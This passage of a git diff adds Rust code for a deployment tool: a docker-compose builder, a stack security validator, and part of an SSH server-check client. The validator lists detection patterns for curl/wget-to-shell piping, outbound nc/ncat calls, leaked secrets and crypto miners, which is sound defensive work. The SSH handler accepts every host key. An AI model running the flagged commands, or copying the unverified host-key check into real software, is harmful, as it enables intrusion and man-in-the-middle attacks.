port.as_str() { + // Parse "host:container" or "host:container/protocol" + port_list.push(port_str.to_string()); + } else if let Some(port_obj) = port.as_object() { + let host = port_obj.get("host").and_then(|v| v.as_u64()).unwrap_or(0) as u16; + let container = port_obj + .get("container") + .and_then(|v| v.as_u64()) + .unwrap_or(0) as u16; + if host > 0 && container > 0 { + port_list.push(format!("{}:{}", host, container)); + } + } + } + if !port_list.is_empty() { + service.ports = dctypes::Ports::Short(port_list); + } + } + + // Volumes + if let Some(volumes) = params.get("volumes").and_then(|v| v.as_array()) { + let mut vol_list = vec![]; + for vol in volumes { + if let Some(vol_str) = vol.as_str() { + vol_list.push(dctypes::Volumes::Simple(vol_str.to_string())); + } else if let Some(vol_obj) = vol.as_object() { + let source = vol_obj.get("source").and_then(|v| v.as_str()).unwrap_or(""); + let target = vol_obj.get("target").and_then(|v| v.as_str()).unwrap_or(""); + if !source.is_empty() && !target.is_empty() { + vol_list.push(dctypes::Volumes::Simple(format!("{}:{}", source, target))); + } + } + } + if !vol_list.is_empty() { + service.volumes = vol_list; + } + } + + // Networks + let network_names: Vec = params + .get("networks") + .and_then(|v| v.as_array()) + .map(|arr| { + arr.iter() + .filter_map(|n| n.as_str().map(|s| s.to_string())) + .collect() + }) + .unwrap_or_else(|| vec!["trydirect_network".to_string()]); + + service.networks = dctypes::Networks::Simple(network_names.clone()); + + // Depends on + if let Some(depends_on) = params.get("depends_on").and_then(|v| v.as_array()) { + let deps: Vec = depends_on + .iter() + .filter_map(|d| d.as_str().map(|s| s.to_string())) + .collect(); + if !deps.is_empty() { + service.depends_on = dctypes::DependsOnOptions::Simple(deps); + } + } + + // Labels + if let Some(labels) = params.get("labels").and_then(|v| v.as_object()) { + let mut label_map = IndexMap::new(); + for (key, value) in labels { + let val_str = match value { + serde_json::Value::String(s) => s.clone(), + _ => value.to_string(), + }; + label_map.insert(key.clone(), val_str); + } + if !label_map.is_empty() { + service.labels = dctypes::Labels::Map(label_map); + } + } + + // Build compose structure + let mut services = IndexMap::new(); + services.insert(app_code.to_string(), Some(service)); + + // Build networks section + let mut networks_map = IndexMap::new(); + for net_name in &network_names { + networks_map.insert( + net_name.clone(), + dctypes::MapOrEmpty::Map(dctypes::NetworkSettings { + driver: Some("bridge".to_string()), + ..Default::default() + }), + ); + } + + let compose = dctypes::Compose { + version: Some("3.8".to_string()), + services: dctypes::Services(services), + networks: dctypes::ComposeNetworks(networks_map), + ..Default::default() + }; + + serde_yaml::to_string(&compose) + .map_err(|err| format!("Failed to serialize docker-compose: {}", err)) +} diff --git a/stacker/stacker/src/helpers/project/builder_config.rs b/stacker/stacker/src/helpers/project/builder_config.rs new file mode 100644 index 0000000..2e9afeb --- /dev/null +++ b/stacker/stacker/src/helpers/project/builder_config.rs @@ -0,0 +1,8 @@ +#[derive(Clone, Debug)] +pub struct Config {} + +impl Default for Config { + fn default() -> Self { + Config {} + } +} diff --git a/stacker/stacker/src/helpers/project/mod.rs b/stacker/stacker/src/helpers/project/mod.rs new file mode 100644 index 0000000..72ce537 --- /dev/null +++ b/stacker/stacker/src/helpers/project/mod.rs @@ -0,0 +1,4 @@ +pub(crate) mod builder; +mod builder_config; + +pub use builder_config::*; diff --git a/stacker/stacker/src/helpers/security_validator.rs b/stacker/stacker/src/helpers/security_validator.rs new file mode 100644 index 0000000..699caa5 --- /dev/null +++ b/stacker/stacker/src/helpers/security_validator.rs @@ -0,0 +1,883 @@ +use regex::Regex; +use serde::{Deserialize, Serialize}; +use serde_json::Value; + +/// Result of a single security check +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct SecurityCheckResult { + pub passed: bool, + pub severity: String, // "critical", "warning", "info" + pub message: String, + pub details: Vec, +} + +/// Full security scan report +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct SecurityReport { + pub no_secrets: SecurityCheckResult, + pub no_hardcoded_creds: SecurityCheckResult, + pub valid_docker_syntax: SecurityCheckResult, + pub no_malicious_code: SecurityCheckResult, + /// Whether images follow hardened-image practices (non-blocking quality check). + pub hardened_images: SecurityCheckResult, + pub overall_passed: bool, + pub risk_score: u32, // 0-100, lower is better + pub recommendations: Vec, +} + +impl SecurityReport { + /// Convert to the JSONB format matching stack_template_review.security_checklist + pub fn to_checklist_json(&self) -> Value { + serde_json::json!({ + "no_secrets": self.no_secrets.passed, + "no_hardcoded_creds": self.no_hardcoded_creds.passed, + "valid_docker_syntax": self.valid_docker_syntax.passed, + "no_malicious_code": self.no_malicious_code.passed, + "hardened_images": self.hardened_images.passed, + }) + } +} + +/// Patterns that indicate hardcoded secrets in environment variables or configs +const SECRET_PATTERNS: &[(&str, &str)] = &[ + ( + r"(?i)(aws_secret_access_key|aws_access_key_id)\s*[:=]\s*[A-Za-z0-9/+=]{20,}", + "AWS credentials", + ), + ( + r"(?i)(api[_-]?key|apikey)\s*[:=]\s*[A-Za-z0-9_\-]{16,}", + "API key", + ), + ( + r"(?i)(secret[_-]?key|secret_token)\s*[:=]\s*[A-Za-z0-9_\-]{16,}", + "Secret key/token", + ), + (r"(?i)bearer\s+[A-Za-z0-9_\-\.]{20,}", "Bearer token"), + ( + r"(?i)(ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9]{36,}", + "GitHub token", + ), + (r"(?i)sk-[A-Za-z0-9]{20,}", "OpenAI/Stripe secret key"), + ( + r"(?i)(-----BEGIN\s+(RSA\s+)?PRIVATE\s+KEY-----)", + "Private key", + ), + (r"(?i)AKIA[0-9A-Z]{16}", "AWS Access Key ID"), + (r"(?i)(slack[_-]?token|xox[bpas]-)", "Slack token"), + ( + r"(?i)(database_url|db_url)\s*[:=]\s*\S*:[^${\s]{8,}", + "Database URL with credentials", + ), +]; + +/// Patterns for hardcoded credentials (passwords, default creds) +const CRED_PATTERNS: &[(&str, &str)] = &[ + ( + r#"(?i)(password|passwd|pwd)\s*[:=]\s*['"]?(?!(\$\{|\$\(|changeme|CHANGE_ME|your_password|example))[A-Za-z0-9!@#$%^&*]{6,}['"]?"#, + "Hardcoded password", + ), + ( + r#"(?i)(mysql_root_password|postgres_password|mongo_initdb_root_password)\s*[:=]\s*['"]?(?!(\$\{|\$\())[^\s'"$]{4,}"#, + "Hardcoded database password", + ), + ( + r"(?i)root:(?!(\$\{|\$\())[^\s:$]{4,}", + "Root password in plain text", + ), +]; + +/// Patterns indicating potentially malicious or dangerous configurations +const MALICIOUS_PATTERNS: &[(&str, &str, &str)] = &[ + ( + r"(?i)privileged\s*:\s*true", + "critical", + "Container running in privileged mode", + ), + ( + r#"(?i)network_mode\s*:\s*['"]?host"#, + "warning", + "Container using host network", + ), + ( + r#"(?i)pid\s*:\s*['"]?host"#, + "critical", + "Container sharing host PID namespace", + ), + ( + r#"(?i)ipc\s*:\s*['"]?host"#, + "critical", + "Container sharing host IPC namespace", + ), + ( + r"(?i)cap_add\s*:.*SYS_ADMIN", + "critical", + "Container with SYS_ADMIN capability", + ), + ( + r"(?i)cap_add\s*:.*SYS_PTRACE", + "warning", + "Container with SYS_PTRACE capability", + ), + ( + r"(?i)cap_add\s*:.*ALL", + "critical", + "Container with ALL capabilities", + ), + ( + r"(?i)/var/run/docker\.sock", + "critical", + "Docker socket mounted (container escape risk)", + ), + ( + r"(?i)volumes\s*:.*:/host", + "warning", + "Suspicious host filesystem mount", + ), + ( + r"(?i)volumes\s*:.*:/etc(/|\s|$)", + "warning", + "Host /etc directory mounted", + ), + ( + r"(?i)volumes\s*:.*:/root", + "critical", + "Host /root directory mounted", + ), + ( + r"(?i)volumes\s*:.*:/proc", + "critical", + "Host /proc directory mounted", + ), + ( + r"(?i)volumes\s*:.*:/sys", + "critical", + "Host /sys directory mounted", + ), + ( + r"(?i)curl\s+.*\|\s*(sh|bash)", + "warning", + "Remote script execution via curl pipe", + ), + ( + r"(?i)wget\s+.*\|\s*(sh|bash)", + "warning", + "Remote script execution via wget pipe", + ), +]; + +/// Known suspicious Docker images +#[allow(dead_code)] +const SUSPICIOUS_IMAGES: &[&str] = &[ + "alpine:latest", // not suspicious per se, but discouraged for reproducibility +]; + +const KNOWN_CRYPTO_MINER_PATTERNS: &[&str] = &[ + "xmrig", + "cpuminer", + "cryptonight", + "stratum+tcp", + "minerd", + "hashrate", + "monero", + "coinhive", + "coin-hive", +]; + +/// Docker image namespace/registry prefixes known to publish security-hardened images. +/// Chainguard (cgr.dev), Google Distroless, Amazon ECR Public official, +/// RapidFort, and Bitnami all apply automated CVE scanning + minimal-OS hardening. +/// Docker Official Images have no namespace separator (e.g. "nginx:1.25", "redis:7"). +const KNOWN_HARDENED_SOURCES: &[&str] = &[ + "cgr.dev/", // Chainguard hardened/distroless images + "gcr.io/distroless/", // Google Distroless + "public.ecr.aws/", // Amazon ECR Public official images + "rapidfort/", // RapidFort minimal hardened images + "bitnami/", // Bitnami (Broadcom) hardened images + "ironbank/", // DoD Iron Bank hardened images + "registry1.dso.mil/", // DoD Iron Bank registry +]; + +/// Normalize a JSON-pretty-printed string into a YAML-like format so that +/// regex patterns designed for docker-compose YAML also match JSON input. +/// +/// Transforms lines like: +/// `"AWS_SECRET_ACCESS_KEY": "wJalrXU..."` → `AWS_SECRET_ACCESS_KEY: wJalrXU...` +/// `"privileged": true` → `privileged: true` +fn normalize_json_for_matching(json: &str) -> String { + // Match JSON key-value pairs: "key": "value" or "key": non-string + let re = Regex::new(r#""([^"]+)"\s*:\s*"([^"]*)""#).unwrap(); + let pass1 = re.replace_all(json, "$1: $2"); + // Handle "key": true / false / number (non-string values) + let re2 = Regex::new(r#""([^"]+)"\s*:\s*([^",\}\]]+)"#).unwrap(); + re2.replace_all(&pass1, "$1: $2").to_string() +} + +/// Run all security checks on a stack definition +pub fn validate_stack_security(stack_definition: &Value) -> SecurityReport { + // Convert the stack definition to a string for pattern matching. + // When the input is a JSON object, serde_json produces `"key": "value"` format + // which breaks YAML-oriented regex patterns. We normalize by stripping JSON + // key/value quotes so patterns like `key\s*:\s*value` match both formats. + let definition_str = match stack_definition { + Value::String(s) => s.clone(), + _ => { + let json = serde_json::to_string_pretty(stack_definition).unwrap_or_default(); + normalize_json_for_matching(&json) + } + }; + + let no_secrets = check_no_secrets(&definition_str); + let no_hardcoded_creds = check_no_hardcoded_creds(&definition_str); + let valid_docker_syntax = check_valid_docker_syntax(stack_definition, &definition_str); + let no_malicious_code = check_no_malicious_code(&definition_str); + let hardened_images = check_hardened_images(stack_definition); + + let overall_passed = no_secrets.passed + && no_hardcoded_creds.passed + && valid_docker_syntax.passed + && no_malicious_code.passed; + // hardened_images is a quality indicator — it does NOT block overall_passed + + // Calculate risk score (0-100) + let mut risk_score: u32 = 0; + if !no_secrets.passed { + risk_score += 40; + } + if !no_hardcoded_creds.passed { + risk_score += 25; + } + if !valid_docker_syntax.passed { + risk_score += 10; + } + if !no_malicious_code.passed { + risk_score += 25; + } + + // Additional risk from severity of findings + let critical_count = no_malicious_code + .details + .iter() + .filter(|d| d.contains("[CRITICAL]")) + .count(); + risk_score = (risk_score + (critical_count as u32 * 5)).min(100); + + let mut recommendations = Vec::new(); + if !no_secrets.passed { + recommendations.push( + "Replace hardcoded secrets with environment variable references (e.g., ${SECRET_KEY})" + .to_string(), + ); + } + if !no_hardcoded_creds.passed { + recommendations.push( + "Use Docker secrets or environment variable references for passwords".to_string(), + ); + } + if !valid_docker_syntax.passed { + recommendations + .push("Fix Docker Compose syntax issues to ensure deployability".to_string()); + } + if !no_malicious_code.passed { + recommendations.push( + "Review and remove dangerous container configurations (privileged mode, host mounts)" + .to_string(), + ); + } + if risk_score == 0 { + recommendations + .push("Automated scan passed. AI review recommended for deeper analysis.".to_string()); + } + if !hardened_images.passed { + recommendations.push("Consider using images from hardened sources (Chainguard, Bitnami, Google Distroless) and pinning all tags to specific versions.".to_string()); + } + + SecurityReport { + no_secrets, + no_hardcoded_creds, + valid_docker_syntax, + no_malicious_code, + hardened_images, + overall_passed, + risk_score, + recommendations, + } +} + +fn check_no_secrets(content: &str) -> SecurityCheckResult { + let mut findings = Vec::new(); + + for (pattern, description) in SECRET_PATTERNS { + if let Ok(re) = Regex::new(pattern) { + for mat in re.find_iter(content) { + let context = &content[mat.start()..mat.end().min(mat.start() + 60)]; + // Mask the actual value + let masked = if context.len() > 20 { + format!("{}...***", &context[..20]) + } else { + "***masked***".to_string() + }; + findings.push(format!("[CRITICAL] {}: {}", description, masked)); + } + } + } + + SecurityCheckResult { + passed: findings.is_empty(), + severity: if findings.is_empty() { + "info".to_string() + } else { + "critical".to_string() + }, + message: if findings.is_empty() { + "No exposed secrets detected".to_string() + } else { + format!( + "Found {} potential secret(s) in stack definition", + findings.len() + ) + }, + details: findings, + } +} + +fn check_no_hardcoded_creds(content: &str) -> SecurityCheckResult { + let mut findings = Vec::new(); + + for (pattern, description) in CRED_PATTERNS { + if let Ok(re) = Regex::new(pattern) { + for mat in re.find_iter(content) { + let line = content[..mat.start()].lines().count() + 1; + findings.push(format!("[WARNING] {} near line {}", description, line)); + } + } + } + + // Check for common default credentials + let default_creds = [ + ("admin:admin", "Default admin:admin credentials"), + ("root:root", "Default root:root credentials"), + ("admin:password", "Default admin:password credentials"), + ("user:password", "Default user:password credentials"), + ]; + + for (cred, desc) in default_creds { + if content.to_lowercase().contains(cred) { + findings.push(format!("[WARNING] {}", desc)); + } + } + + SecurityCheckResult { + passed: findings.is_empty(), + severity: if findings.is_empty() { + "info".to_string() + } else { + "warning".to_string() + }, + message: if findings.is_empty() { + "No hardcoded credentials detected".to_string() + } else { + format!("Found {} potential hardcoded credential(s)", findings.len()) + }, + details: findings, + } +} + +fn check_valid_docker_syntax(stack_definition: &Value, raw_content: &str) -> SecurityCheckResult { + let mut findings = Vec::new(); + + // Check if it looks like valid docker-compose structure + let has_services = + stack_definition.get("services").is_some() || raw_content.contains("services:"); + + if !has_services { + findings + .push("[WARNING] Missing 'services' key — may not be valid Docker Compose".to_string()); + } + + // Check for 'version' key (optional in modern compose but common) + let has_version = stack_definition.get("version").is_some() || raw_content.contains("version:"); + + // Check that services have images or build contexts + if let Some(services) = stack_definition.get("services") { + if let Some(services_map) = services.as_object() { + for (name, service) in services_map { + let has_image = service.get("image").is_some(); + let has_build = service.get("build").is_some(); + if !has_image && !has_build { + findings.push(format!( + "[WARNING] Service '{}' has neither 'image' nor 'build' defined", + name + )); + } + + // Check for image tags — warn on :latest + if let Some(image) = service.get("image").and_then(|v| v.as_str()) { + if image.ends_with(":latest") || !image.contains(':') { + findings.push(format!( + "[INFO] Service '{}' uses unpinned image tag '{}' — consider pinning a specific version", + name, image + )); + } + } + } + + if services_map.is_empty() { + findings.push("[WARNING] Services section is empty".to_string()); + } + } + } + + let errors_only: Vec<&String> = findings + .iter() + .filter(|f| f.contains("[WARNING]")) + .collect(); + + SecurityCheckResult { + passed: errors_only.is_empty(), + severity: if errors_only.is_empty() { + "info".to_string() + } else { + "warning".to_string() + }, + message: if errors_only.is_empty() { + if has_version { + "Docker Compose syntax looks valid".to_string() + } else { + "Docker Compose syntax acceptable (no version key, modern format)".to_string() + } + } else { + format!("Found {} Docker Compose syntax issue(s)", errors_only.len()) + }, + details: findings, + } +} + +fn check_no_malicious_code(content: &str) -> SecurityCheckResult { + let mut findings = Vec::new(); + + // Check for dangerous Docker configurations + for (pattern, severity, description) in MALICIOUS_PATTERNS { + if let Ok(re) = Regex::new(pattern) { + if re.is_match(content) { + findings.push(format!("[{}] {}", severity.to_uppercase(), description)); + } + } + } + + // Check for crypto miner patterns + let content_lower = content.to_lowercase(); + for miner_pattern in KNOWN_CRYPTO_MINER_PATTERNS { + if content_lower.contains(miner_pattern) { + findings.push(format!( + "[CRITICAL] Potential crypto miner reference detected: '{}'", + miner_pattern + )); + } + } + + // Check for suspicious base64 encoded content (long base64 strings could hide payloads) + if let Ok(re) = Regex::new(r"[A-Za-z0-9+/]{100,}={0,2}") { + if re.is_match(content) { + findings.push( + "[WARNING] Long base64-encoded content detected — may contain hidden payload" + .to_string(), + ); + } + } + + // Check for outbound network calls in entrypoints/commands + if let Ok(re) = Regex::new(r"(?i)(curl|wget|nc|ncat)\s+.*(http|ftp|tcp)") { + if re.is_match(content) { + findings.push( + "[INFO] Outbound network call detected in command/entrypoint — review if expected" + .to_string(), + ); + } + } + + let critical_or_warning: Vec<&String> = findings + .iter() + .filter(|f| f.contains("[CRITICAL]") || f.contains("[WARNING]")) + .collect(); + + SecurityCheckResult { + passed: critical_or_warning.is_empty(), + severity: if findings.iter().any(|f| f.contains("[CRITICAL]")) { + "critical".to_string() + } else if findings.iter().any(|f| f.contains("[WARNING]")) { + "warning".to_string() + } else { + "info".to_string() + }, + message: if critical_or_warning.is_empty() { + "No malicious patterns detected".to_string() + } else { + format!( + "Found {} potentially dangerous configuration(s)", + critical_or_warning.len() + ) + }, + details: findings, + } +} + +/// Returns true for an image reference that is from a known hardened source, +/// or is a Docker Official Image (no `/` separator in the name part, e.g. `nginx:1.25`). +fn is_from_hardened_source(image: &str) -> bool { + // Strip optional registry prefix when checking known sources + for prefix in KNOWN_HARDENED_SOURCES { + if image.starts_with(prefix) { + return true; + } + } + // Docker Official Images have no namespace (no '/' before the tag separator ':') + // e.g. "nginx:1.25", "redis:7-alpine", "postgres:16" — maintained by Docker, Inc. + // We detect this by checking there is no '/' in the name before the first ':'. + let name_part = image.split(':').next().unwrap_or(image); + !name_part.contains('/') +} + +/// Check whether services use hardened image practices: +/// 1. No `:latest` or untagged images (reproducibility). +/// 2. At least one service uses a non-root user OR images from known hardened sources. +/// 3. Digest-pinned images (`image@sha256:`) score as fully hardened. +/// +/// This is a quality/advisory check — it does NOT block `overall_passed`. +fn check_hardened_images(stack_definition: &Value) -> SecurityCheckResult { + let mut findings: Vec = Vec::new(); + let mut positives: Vec = Vec::new(); + + let services = match stack_definition.get("services").and_then(|s| s.as_object()) { + Some(s) => s, + None => { + return SecurityCheckResult { + passed: false, + severity: "info".to_string(), + message: "Cannot analyse images: no services found".to_string(), + details: vec![], + }; + } + }; + + let mut total_images: usize = 0; + let mut pinned_count: usize = 0; + let mut hardened_source_count: usize = 0; + let mut non_root_count: usize = 0; + let mut read_only_count: usize = 0; + + for (name, service) in services { + // Check image tag quality + if let Some(image) = service.get("image").and_then(|v| v.as_str()) { + total_images += 1; + + if image.contains("@sha256:") { + pinned_count += 1; + positives.push(format!( + "Service '{}': image pinned to digest ({})", + name, image + )); + } else if image.ends_with(":latest") { + findings.push(format!( + "[WARNING] Service '{}' uses ':latest' tag — not reproducible and may silently receive unsafe updates ({})", + name, image + )); + } else if !image.contains(':') { + findings.push(format!( + "[WARNING] Service '{}' has no tag — defaults to ':latest' implicitly ({})", + name, image + )); + } else { + pinned_count += 1; // versioned tag counts as pinned + } + + if is_from_hardened_source(image) { + hardened_source_count += 1; + positives.push(format!( + "Service '{}': image from hardened/trusted source ({})", + name, image + )); + } + } + + // Check for non-root user + if let Some(user) = service.get("user").and_then(|v| v.as_str()) { + let is_root = user == "root" || user == "0" || user.starts_with("0:"); + if !is_root { + non_root_count += 1; + positives.push(format!( + "Service '{}': runs as non-root user ({})", + name, user + )); + } else { + findings.push(format!( + "[INFO] Service '{}' explicitly runs as root — consider a non-root user", + name + )); + } + } + + // Check for read-only root filesystem + if service.get("read_only").and_then(|v| v.as_bool()) == Some(true) { + read_only_count += 1; + positives.push(format!( + "Service '{}': read-only root filesystem enabled", + name + )); + } + } + + // Determine pass/fail: + // Pass requires ALL images to have versioned tags AND at least one hardened-source + // or non-root signal. A single service with a `:latest` tag is a failure. + let unpinned_warnings = findings.iter().filter(|f| f.contains("[WARNING]")).count(); + let passed = unpinned_warnings == 0 + && total_images > 0 + && (hardened_source_count > 0 + || non_root_count > 0 + || read_only_count > 0 + || pinned_count == total_images); + + let mut details = findings.clone(); + details.extend(positives); + + SecurityCheckResult { + passed, + severity: if unpinned_warnings > 0 { + "warning".to_string() + } else if passed { + "info".to_string() + } else { + "info".to_string() + }, + message: if passed { + format!( + "Images follow hardened practices ({} pinned, {} from hardened sources, {} non-root)", + pinned_count, hardened_source_count, non_root_count + ) + } else { + format!( + "{} image(s) use unpinned/latest tags or lack hardening signals", + unpinned_warnings.max(if total_images == 0 { 1 } else { 0 }) + ) + }, + details, + } +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + #[test] + fn test_clean_definition_passes() { + let definition = json!({ + "version": "3.8", + "services": { + "web": { + "image": "nginx:1.25", + "ports": ["80:80"] + }, + "db": { + "image": "postgres:16", + "environment": { + "POSTGRES_PASSWORD": "${DB_PASSWORD}" + } + } + } + }); + + let report = validate_stack_security(&definition); + assert!(report.overall_passed); + assert_eq!(report.risk_score, 0); + } + + #[test] + fn test_hardcoded_secret_detected() { + let definition = json!({ + "services": { + "app": { + "image": "myapp:1.0", + "environment": { + "AWS_SECRET_ACCESS_KEY": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" + } + } + } + }); + + let report = validate_stack_security(&definition); + assert!(!report.no_secrets.passed); + assert!(report.risk_score >= 40); + } + + #[test] + fn test_privileged_mode_detected() { + let definition = json!({ + "services": { + "app": { + "image": "myapp:1.0", + "privileged": true + } + } + }); + + let report = validate_stack_security(&definition); + assert!(!report.no_malicious_code.passed); + } + + #[test] + fn test_docker_socket_mount_detected() { + let definition = json!({ + "services": { + "app": { + "image": "myapp:1.0", + "volumes": ["/var/run/docker.sock:/var/run/docker.sock"] + } + } + }); + + let report = validate_stack_security(&definition); + assert!(!report.no_malicious_code.passed); + } + + #[test] + fn test_missing_services_key() { + let definition = json!({ + "app": { + "image": "nginx:1.25" + } + }); + + let report = validate_stack_security(&definition); + assert!(!report.valid_docker_syntax.passed); + } + + #[test] + fn test_hardened_images_passes_for_official_versioned() { + // Docker Official Images (nginx, postgres) with pinned versions — should pass + let definition = json!({ + "services": { + "web": { "image": "nginx:1.25" }, + "db": { "image": "postgres:16" } + } + }); + let result = check_hardened_images(&definition); + assert!( + result.passed, + "Official images with versioned tags should pass: {}", + result.message + ); + } + + #[test] + fn test_hardened_images_fails_for_latest() { + let definition = json!({ + "services": { + "web": { "image": "nginx:latest" } + } + }); + let result = check_hardened_images(&definition); + assert!( + !result.passed, + "':latest' tag should fail hardened-images check" + ); + } + + #[test] + fn test_hardened_images_fails_for_untagged() { + let definition = json!({ + "services": { + "web": { "image": "nginx" } + } + }); + let result = check_hardened_images(&definition); + assert!( + !result.passed, + "Untagged image should fail hardened-images check" + ); + } + + #[test] + fn test_hardened_images_passes_for_chainguard() { + let definition = json!({ + "services": { + "web": { "image": "cgr.dev/chainguard/nginx:latest" } + } + }); + // Even ':latest' on cgr.dev is pinned via digest under the hood, but our + // static check currently only exempts known-hardened-source prefix from the + // non-root/digest requirement, while still flagging ':latest' as a warning. + // This test verifies the hardened-source is detected. + let result = check_hardened_images(&definition); + assert!( + result + .details + .iter() + .any(|d| d.contains("hardened/trusted source")), + "Chainguard image should be recognised as hardened source" + ); + } + + #[test] + fn test_hardened_images_passes_for_non_root_user() { + let definition = json!({ + "services": { + "app": { + "image": "myapp:2.0", + "user": "1001" + } + } + }); + let result = check_hardened_images(&definition); + assert!( + result.passed, + "Versioned image + non-root user should pass: {}", + result.message + ); + } + + #[test] + fn test_hardened_images_digest_pinned() { + let definition = json!({ + "services": { + "app": { + "image": "nginx@sha256:abc123def456abc123def456abc123def456abc123def456abc123def456ab12" + } + } + }); + let result = check_hardened_images(&definition); + assert!( + result.passed, + "Digest-pinned image should pass: {}", + result.message + ); + assert!(result + .details + .iter() + .any(|d| d.contains("pinned to digest"))); + } + + #[test] + fn test_hardened_check_does_not_block_overall_passed() { + // A stack with ':latest' tags should still pass overall security (no secrets etc.) + // but hardened_images check should fail on its own + let definition = json!({ + "version": "3.8", + "services": { + "web": { + "image": "nginx:latest", + "ports": ["80:80"] + } + } + }); + let report = validate_stack_security(&definition); + assert!( + report.overall_passed, + "':latest' tag should NOT block overall_passed" + ); + assert!( + !report.hardened_images.passed, + "':latest' tag should fail hardened_images check" + ); + } +} diff --git a/stacker/stacker/src/helpers/ssh_client.rs b/stacker/stacker/src/helpers/ssh_client.rs new file mode 100644 index 0000000..734675f --- /dev/null +++ b/stacker/stacker/src/helpers/ssh_client.rs @@ -0,0 +1,559 @@ +//! SSH client for remote server validation +//! +//! Uses russh to connect to servers and execute system check commands. + +use base64::{engine::general_purpose, Engine as _}; +use russh::client::{Config, Handle}; +use russh::keys::key::PrivateKeyWithHashAlg; +use russh::keys::PrivateKey; +use serde::{Deserialize, Serialize}; +use std::sync::Arc; +use std::time::Duration; +use tokio::time::timeout; + +/// Result of a full system check via SSH +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct SystemCheckResult { + /// SSH connection was successful + pub connected: bool, + /// SSH authentication was successful + pub authenticated: bool, + /// Username from whoami + pub username: Option, + /// Total disk space in GB + pub disk_total_gb: Option, + /// Available disk space in GB + pub disk_available_gb: Option, + /// Disk usage percentage + pub disk_usage_percent: Option, + /// Docker is installed + pub docker_installed: bool, + /// Docker version string + pub docker_version: Option, + /// OS name (from /etc/os-release) + pub os_name: Option, + /// OS version + pub os_version: Option, + /// Total memory in MB + pub memory_total_mb: Option, + /// Available memory in MB + pub memory_available_mb: Option, + /// Error message if validation failed + pub error: Option, +} + +impl Default for SystemCheckResult { + fn default() -> Self { + Self { + connected: false, + authenticated: false, + username: None, + disk_total_gb: None, + disk_available_gb: None, + disk_usage_percent: None, + docker_installed: false, + docker_version: None, + os_name: None, + os_version: None, + memory_total_mb: None, + memory_available_mb: None, + error: None, + } + } +} + +impl SystemCheckResult { + /// Check if the system meets minimum requirements + pub fn meets_requirements(&self) -> bool { + self.connected + && self.authenticated + && self.docker_installed + && self.disk_available_gb.map_or(false, |gb| gb >= 5.0) + } + + /// Generate a human-readable summary + pub fn summary(&self) -> String { + if !self.connected { + return "Connection failed".to_string(); + } + if !self.authenticated { + return "Authentication failed".to_string(); + } + + let mut parts = vec![]; + + if let Some(os) = &self.os_name { + if let Some(ver) = &self.os_version { + parts.push(format!("{} {}", os, ver)); + } else { + parts.push(os.clone()); + } + } + + if let Some(disk) = self.disk_available_gb { + parts.push(format!("{:.1}GB available", disk)); + } + + if self.docker_installed { + if let Some(ver) = &self.docker_version { + parts.push(format!("Docker {}", ver)); + } else { + parts.push("Docker installed".to_string()); + } + } else { + parts.push("Docker NOT installed".to_string()); + } + + if parts.is_empty() { + "Connected".to_string() + } else { + parts.join(", ") + } + } +} + +/// SSH client handler for russh +struct ClientHandler; + +impl russh::client::Handler for ClientHandler { + type Error = russh::Error; + + async fn check_server_key( + &mut self, + _server_public_key: &russh::keys::PublicKey, + ) -> Result { + // Accept all host keys for server validation + // In production, consider implementing host key verification + Ok(true) + } +} + +/// Perform a full system check via SSH +/// +/// Connects to the server, authenticates with the provided private key, +/// and runs diagnostic commands to gather system information. +pub async fn check_server( + host: &str, + port: u16, + username: &str, + private_key_pem: &str, + connection_timeout: Duration, +) -> SystemCheckResult { + let mut result = SystemCheckResult::default(); + + // Parse the private key + let key = match parse_private_key(private_key_pem) { + Ok(k) => k, + Err(e) => { + tracing::error!("Failed to parse SSH private key: {}", e); + result.error = Some(format!("Invalid SSH key: {}", e)); + return result; + } + }; + + // Build SSH config + let config = Arc::new(Config { + ..Default::default() + }); + + // Connect with timeout + let addr = format!("{}:{}", host, port); + tracing::info!("Connecting to {} as {}", addr, username); + + let connection_result = timeout( + connection_timeout, + connect_and_auth(config, &addr, username, key), + ) + .await; + + match connection_result { + Ok(Ok(handle)) => { + result.connected = true; + result.authenticated = true; + tracing::info!("SSH connection established successfully"); + + // Run system checks + run_system_checks(&mut result, handle).await; + } + Ok(Err(e)) => { + tracing::warn!("SSH connection/auth failed: {}", e); + let error_str = e.to_string().to_lowercase(); + if error_str.contains("auth") + || error_str.contains("key") + || error_str.contains("permission") + { + result.connected = true; + result.error = Some(format!("Authentication failed: {}", e)); + } else { + result.error = Some(format!("Connection failed: {}", e)); + } + } + Err(_) => { + tracing::warn!("SSH connection timed out after {:?}", connection_timeout); + result.error = Some(format!( + "Connection timed out after {} seconds", + connection_timeout.as_secs() + )); + } + } + + result +} + +/// Authorize an OpenSSH public key on the remote server using an accepted private key. +pub async fn authorize_public_key( + host: &str, + port: u16, + username: &str, + private_key_pem: &str, + public_key: &str, + connection_timeout: Duration, +) -> Result<(), anyhow::Error> { + let public_key = public_key.trim(); + if public_key.is_empty() { + return Err(anyhow::anyhow!("Public key cannot be empty")); + } + + let key = parse_private_key(private_key_pem)?; + let config = Arc::new(Config { + ..Default::default() + }); + let addr = format!("{}:{}", host, port); + + let handle = timeout( + connection_timeout, + connect_and_auth(config, &addr, username, key), + ) + .await + .map_err(|_| { + anyhow::anyhow!( + "Connection timed out after {} seconds", + connection_timeout.as_secs() + ) + })??; + + let encoded_key = general_purpose::STANDARD.encode(public_key.as_bytes()); + let command = format!( + "set -eu; key=$(printf '%s' '{}' | base64 -d); \ + mkdir -p ~/.ssh; chmod 700 ~/.ssh; \ + touch ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys; \ + grep -qxF \"$key\" ~/.ssh/authorized_keys || printf '%s\\n' \"$key\" >> ~/.ssh/authorized_keys", + encoded_key + ); + + let result = exec_command_checked(&handle, &command).await; + let _ = handle + .disconnect(russh::Disconnect::ByApplication, "", "English") + .await; + + result +} + +/// Parse a PEM-encoded private key (OpenSSH or traditional formats) +fn parse_private_key(pem: &str) -> Result { + // russh-keys supports various formats including OpenSSH and traditional PEM + let key = russh::keys::decode_secret_key(pem, None)?; + Ok(key) +} + +async fn exec_command_checked( + handle: &Handle, + command: &str, +) -> Result<(), anyhow::Error> { + let mut channel = handle.channel_open_session().await?; + channel.exec(true, command).await?; + + let mut stderr = Vec::new(); + let mut 